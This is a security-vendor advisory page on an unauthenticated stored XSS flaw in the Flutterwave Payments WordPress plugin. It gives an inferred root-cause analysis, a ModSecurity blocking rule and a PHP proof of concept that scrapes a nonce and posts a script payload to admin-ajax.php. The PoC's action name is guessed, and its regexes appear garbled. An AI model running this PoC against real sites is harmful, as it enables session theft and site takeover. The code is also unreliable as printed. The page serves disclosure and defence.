Published : November 22, 2026

CVE-2026-107713: Flutterwave Payments <= 1.0.7 Unauthenticated Stored Cross-Site Scripting via 'form_id' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.0.7
Patched Version —
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-107713 (metadata-based):

CVE-2026-107713 is an unauthenticated stored cross-site scripting vulnerability in the Flutterwave Payments plugin for WordPress, affecting all versions up to and including 1.0.7. The flaw resides in the handling of the ‘form_id’ parameter. The CVSS score of 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) reflects a network-exploitable, low-complexity attack that requires no privileges or user interaction, and can affect resources beyond the vulnerable component (scope change). The plugin’s shortcodes ([flw-pay-form], [flw-pay-button], [flw-donation-form]) expose a nonce on any front-end page, enabling unauthenticated attackers to obtain a valid nonce and submit data to the storing endpoint.

The root cause is improper neutralization of input during web page generation (CWE-79). The plugin fails to sanitize the ‘form_id’ parameter on input and/or fails to escape it on output when rendering stored data. Atomic Edge research infers from the CWE and description that the plugin registers an AJAX action (likely via wp_ajax_nopriv_ and wp_ajax_ hooks) or a REST endpoint to store form configuration, and that the ‘form_id’ value is saved to the database without adequate sanitization (e.g., lacking sanitize_text_field or wp_kses) and later output without escaping (e.g., lacking esc_attr or esc_html). The nonce check is present but ineffective because the nonce is publicly exposed, allowing unauthenticated users to pass it. The exact endpoint name, parameter location, and code patterns are not confirmed because no source code diff is available. All conclusions about the specific implementation are inferred from the vulnerability description and CWE classification.

Exploitation proceeds in two stages. First, an attacker visits any front-end page containing one of the vulnerable shortcodes and extracts the nonce from the page source (e.g., a JavaScript variable or data attribute). Second, the attacker sends a POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with an action parameter matching the plugin’s storing action (inferred to be related to ‘rave_payment_forms’ or similar), the harvested nonce, and a malicious ‘form_id’ payload such as a script tag or an event handler. Because the endpoint lacks authentication and capability checks, the payload is stored. When any user, including an administrator, views a page that renders the stored form_id, the script executes in their browser. The CVSS scope change (S:C) indicates the injected script can affect resources beyond the plugin, such as the entire WordPress site or the user’s session.

Remediation requires adding proper input sanitization and output escaping. On the storing endpoint, the plugin should validate and sanitize the ‘form_id’ parameter using WordPress functions such as sanitize_text_field, absint (if numeric), or a strict allowlist. On output, the value must be escaped with esc_attr, esc_html, or esc_js depending on context. The nonce should be tied to a specific action and user session, and the endpoint should enforce capability checks where appropriate. However, because the endpoint is intended for unauthenticated form submissions, the primary fix is rigorous sanitization and escaping rather than authentication. The patched version 1.1.0 likely implements these measures.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user’s browser when they access a page containing the injected payload. This can lead to session hijacking, theft of authentication cookies, redirection to malicious sites, defacement, or installation of backdoors via administrative actions if an administrator is targeted. The scope change indicates the attacker can pivot from the plugin to the wider WordPress application, potentially compromising the entire site. The lack of user interaction (UI:N) and no privileges required (PR:N) make this a serious threat, especially for sites with high traffic or administrative users who frequently view front-end pages.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-107713 (metadata-based)
# This rule blocks exploitation attempts by detecting XSS payloads in the 'form_id' parameter sent to the WordPress AJAX endpoint.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026107713,phase:2,deny,status:403,chain,msg:'CVE-2026-107713 via Flutterwave Payments AJAX (form_id XSS)',severity:'CRITICAL',tag:'CVE-2026-107713'"
  SecRule ARGS_POST:action "@streq rave_payment_forms_save_form" "chain"
    SecRule ARGS_POST:form_id "@detectXSS" "t:none,t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-107713 - Flutterwave Payments <= 1.0.7 - Unauthenticated Stored Cross-Site Scripting via 'form_id' Parameter

// This PoC demonstrates the exploitation steps inferred from the CVE metadata.
// Assumptions:
// - The plugin exposes a nonce on pages using its shortcodes. We assume it is embedded in a JavaScript variable or data attribute.
// - The storing endpoint is an AJAX action at /wp-admin/admin-ajax.php with an action name related to the plugin (e.g., 'rave_payment_forms_save_form').
// - The 'form_id' parameter is sent via POST and stored without sanitization.
// - The exact action name and nonce extraction method are not confirmed and may require adjustment.

$target_url = 'http://example.com'; // Configure the target WordPress site URL

// Step 1: Fetch a page containing the vulnerable shortcode to extract the nonce.
// We assume the shortcode is [flw-pay-form] and the page is the homepage.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$page = curl_exec($ch);
if ($page === false) {
    die('Failed to fetch page: ' . curl_error($ch));
}
curl_close($ch);

// Attempt to extract the nonce from common patterns (e.g., var rave_nonce = '...'; or data-nonce="...").
// This is speculative; the actual nonce location depends on the plugin's implementation.
$nonce = null;
if (preg_match('/vars+w*noncew*s*=s*['"]([a-f0-9]+)['"]/i', $page, $matches)) {
    $nonce = $matches[1];
} elseif (preg_match('/data-nonce=['"]([a-f0-9]+)['"]/i', $page, $matches)) {
    $nonce = $matches[1];
}

if (!$nonce) {
    die('Could not extract nonce. The page may not contain the shortcode or the nonce pattern differs.');
}

echo "Extracted nonce: $noncen";

// Step 2: Craft the malicious payload. Use a simple script tag or an event handler.
$malicious_form_id = '<script>alert(document.domain);</script>';

// Step 3: Send the payload to the AJAX endpoint.
// The action name is inferred; adjust if the plugin uses a different one.
$post_fields = [
    'action' => 'rave_payment_forms_save_form', // Inferred action name
    'nonce' => $nonce,
    'form_id' => $malicious_form_id,
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if ($response === false) {
    die('Failed to send payload: ' . curl_error($ch));
}
curl_close($ch);

echo "Server response: $responsen";

// Step 4: The payload is now stored. When a user visits a page that renders the form_id, the script executes.
// For verification, visit the page where the form is displayed.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.